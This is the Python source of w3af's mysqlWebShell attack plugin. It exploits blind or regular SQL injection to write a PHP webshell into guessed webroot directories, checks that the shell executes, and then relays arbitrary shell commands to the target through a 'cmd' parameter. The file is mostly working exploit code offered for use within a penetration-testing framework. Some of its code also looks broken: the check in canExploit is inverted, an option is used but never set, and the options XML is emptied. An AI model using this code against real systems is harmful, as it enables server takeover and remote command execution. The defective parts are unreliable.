''' mysqlWebShell.py Copyright 2006 Andres Riancho This file is part of w3af, w3af.sourceforge.net . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' import core.controllers.outputManager as om from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin import core.data.kb.knowledgeBase as kb import core.data.kb.vuln as vuln import core.data.parsers.urlParser as urlParser from core.controllers.w3afException import w3afException import os import urllib from plugins.attack.shells.getShell import getShell from plugins.attack.db.dbDriverBuilder import dbDriverBuilder as dbDriverBuilder from core.controllers.sqlTools.blindSqli import blindSqli as blindSqliTools class mysqlWebShell(baseAttackPlugin): ''' This plugin exploits [blind] sql injections using to create a webshell on the remote host. Plugin author: @author: Andres Riancho ( andres.riancho@gmail.com ) ''' def __init__(self): baseAttackPlugin.__init__(self) self._vuln = None # User configured options for fastExploit self._url = '' self._method = '' self._data = '' self._injvar = '' self._changeToPost = True self._equAlgorithm = 'stringEq' self._equalLimit = 0.8 def fastExploit( self ): ''' Exploits a web app with [blind] sql injections vulns. The options are configured using the plugin options and setOptions() method. ''' om.out.information( 'Starting mysqlWebShell fastExploit.' ) v = vuln.vuln() v.setURL( self._url ) v.setMethod( self._method ) v.setDc( urlParser.getQueryString( 'http://a/a.txt?' + self._data ) ) v.setVar( self._injvar ) self._generateShell( v ) return 'good' def getType(self): return 'shell' def canExploit( self ): ''' Searches the kb for vulnerabilities that the plugin can exploit. @return: True if plugin knows how to exploit a found vuln. ''' blindSqli = kb.kb.getData( 'blindSqli' , 'blindSqli' ) sqli = kb.kb.getData( 'sqli' , 'sqli' ) if len( blindSqli ) and len( sqli ): return False else: return True def exploit(self ): ''' Exploits a [blind] sql injection vulns that was found and stored in the kb. @return: True if the shell is working and the user can start calling rexec ''' om.out.information( 'mysqlWebShell exploit plugin is starting.' ) if not self.canExploit(): om.out.information( 'No [blind] sql injection vulnerabilities have been found.' ) om.out.information( 'Hint #1: Try to find vulnerabilities using the audit plugins.' ) om.out.information( 'Hint #2: Use the set command to enter the values yourself, and then exploit it using fastExploit.' ) else: vulns = kb.kb.getData( 'blindSqli' , 'blindSqli' ) vulns.extend( kb.kb.getData( 'sqli' , 'sqli' ) ) bsql = blindSqliTools() bsql.setUrlOpener( self._urlOpener ) bsql.setEqualLimit( self._equalLimit ) bsql.setEquAlgorithm( self._equAlgorithm ) vulns2 = [] for v in vulns: vulns2.extend( bsql.verifyBlindSQL( v.getMutant().getFuzzableReq(), v.getVar() ) ) vulns = vulns2 for vuln in vulns: # Try to get a shell using all vuln om.out.information('Trying to exploit using vulnerability with id: ' + str( vuln.getId() ) ) if self._generateShell(vuln): # A shell was generated, I only need one point of exec. om.out.information( '[Blind] sql vulnerability successfully exploited. You may start entering commands.' ) return True else: om.out.information('Failed to exploit using vulnerability with id: ' + str( vuln.getId() ) ) return False def _generateShell( self, vuln ): ''' @parameter vuln: The vuln to exploit, as it was saved in the kb or supplied by the user with set commands. @return: True if mysqlWebShell could fingerprint the database. ''' om.out.information('Creating database driver.') dbBuilder = dbDriverBuilder( self._urlOpener ) self._driver = dbBuilder.getDriverForVuln( vuln ) if self._driver == None: om.out.information('Failed to create database driver.') return False else: # Successfully exploited [blind]sql, # Lets check that the webApp connects to a database thats in "localhost" om.out.information('Checking if the web application and the database are in the same host.') currentUser = self._driver.getCurrentUser() if not currentUser.upper().endswith( 'LOCALHOST' ): om.out.information('The web application and the database seem to be in different hosts. If you want to continue this exploit anyway, set the forceNotLocal setting to True.') if not self._forceNotLocal: return False else: om.out.information('The web application and the database seem to be in different hosts. Continuing by user request.') else: om.out.information('The database and the web application run on the same host. Continuing with the exploit.') # lets check if I can write a file to the webroot if not self._generateMysqlWebShell( vuln ): return False else: return True def _generateMysqlWebShell( self, vuln ): ''' Generates a table in the remote mysql server, then saves that table to a file in the remote web server webroot. ''' extension = vuln.getURL()[ vuln.getURL().rfind('.') +1 :] fileContent = getShell( extension ) # Set this for later baseUrl = urlParser.baseUrl( vuln.getURL() ) for webroot, path in self._getRemotePaths( vuln ): om.out.debug('Testing if mysql has privileges to create file: '+ path +'w3af_webShell.php') self._driver.writeFile( path + '/w3af_webShell.php' , fileContent ) # Now we verify if the file is there! outFilePath = path.replace( webroot, baseUrl ) outFilePath += 'w3af_webShell.php' command = '?cmd=echo+w3af+%26%26+echo+f00b4r' response = self._urlOpener.GET( outFilePath + command ) if response.getCode() == '200': om.out.debug('The file seems to have been created! Checking if I can execute...') if response.getBody().count('w3af\nf00b4r'): self._vuln = vuln self._remoteShell = outFilePath self._defineCut( response.getBody(), '!#!#' , exact=True ) return True else: om.out.debug('Mysql has NO privileges to create file: '+ path +'w3af_webShell.php') return False def _getRemotePaths( self, vuln ): ''' Get a list of possible paths where the database can write a file to the remote webroot. Using some path disclosure problems I can make a good guess of the full paths of all files in the webroot, this is the result of that guess. ''' res = [] pathDiscList = kb.kb.getData( 'pathDisclosure' , 'listFiles' ) if len( pathDiscList ) == 0: om.out.information( 'No path disclosure vulnerabilities found. w3af will try to guess the Web Root path.' ) res = [] for webroot in self._getDefaultDocumentRoot( vuln ): res.extend( self._generatePaths( webroot ) ) return res else: pathDiscList = kb.kb.getData( 'pathDisclosure' , 'listPaths' ) return pathDiscList def _generatePaths( self, webroot ): ''' @return: A list of paths based on the webroot given and the paths obtained during discovery phase. ''' urlList = kb.kb.getData( 'urls', 'urlList' ) paths = [ '/'.join( urlParser.getPath( x ).split('/')[:-1] )+'/' for x in urlList ] pathSep = '/' if webroot[0]!='/': pathSep = '\\' res = [] for path in paths: # I need to get the path completePath = webroot + path.replace('/', pathSep) completePath = completePath.replace( pathSep+pathSep , pathSep ) res.append( (webroot, completePath ) ) return res def _getDefaultDocumentRoot( self, vuln ): ''' @return: A list of common and default document roots ''' res = [] res.append('/var/www/') res.append('/var/www/html/') res.append('/var/www/htdocs/') res.append('/var/www/' + urlParser.getDomain( vuln.getURL() ) ) res.append( '/home/' + urlParser.getDomain( vuln.getURL() ) ) res.append( '/home/' + urlParser.getDomain( vuln.getURL() ) + '/www/' ) res.append( '/home/' + urlParser.getDomain( vuln.getURL() ) + '/html/' ) res.append( '/home/' + urlParser.getDomain( vuln.getURL() ) + '/htdocs/' ) return res def rexec( self, command ): ''' This method is called when a command is being sent to the remote server. @parameter command: The command to send ( users, dbs, etc ). @return: The result of the command. ''' toSend = self._remoteShell + '?cmd=' + urllib.quote_plus( command ) response = self._urlOpener.GET( toSend ) return self._cut( response.getBody() ) def getOptionsXML(self): ''' This method returns a XML containing the Options that the plugin has. Using this XML the framework will build a window, a menu, or some other input method to retrieve the info from the user. The XML has to validate against the xml schema file located at : w3af/core/ui/userInterface.dtd @return: XML with the plugin options. ''' return '\ \ \ \ \ \ \ \ \ \ ' def setOptions( self, optionsMap ): ''' This method sets all the options that are configured using the user interface generated by the framework using the result of getOptionsXML(). @parameter optionsMap: A map with the options for the plugin. @return: No value is returned. ''' self._url = urlParser.uri2url( optionsMap['url'] ) self._method = optionsMap['method'] self._data = optionsMap['data'] self._injvar = optionsMap['injvar'] self._equAlgorithm = optionsMap['equAlgorithm'] self._equalLimit = optionsMap['equalLimit'] def getPluginDeps( self ): ''' @return: A list with the names of the plugins that should be runned before the current one. ''' return [] def getRootProbability( self ): ''' @return: This method returns the probability of getting a root shell using this attack plugin. This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones. This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS return a root shell. ''' return 0.6 def getLongDesc( self ): ''' @return: A DETAILED description of the plugin functions and features. ''' return ''' This plugin exploits two vulnerabilities and returns a shell. Two vulnerabilities must be present, a SQL injection and a folder permission misconfiguration that allows the database server to write a file inside the webroot; if both vulnerabilities are present, this plugin will write a webshell to the webroot and the user can then start typing commands. Six configurable parameters exist: - url - method - data - injvar - equAlgorithm - equalLimit '''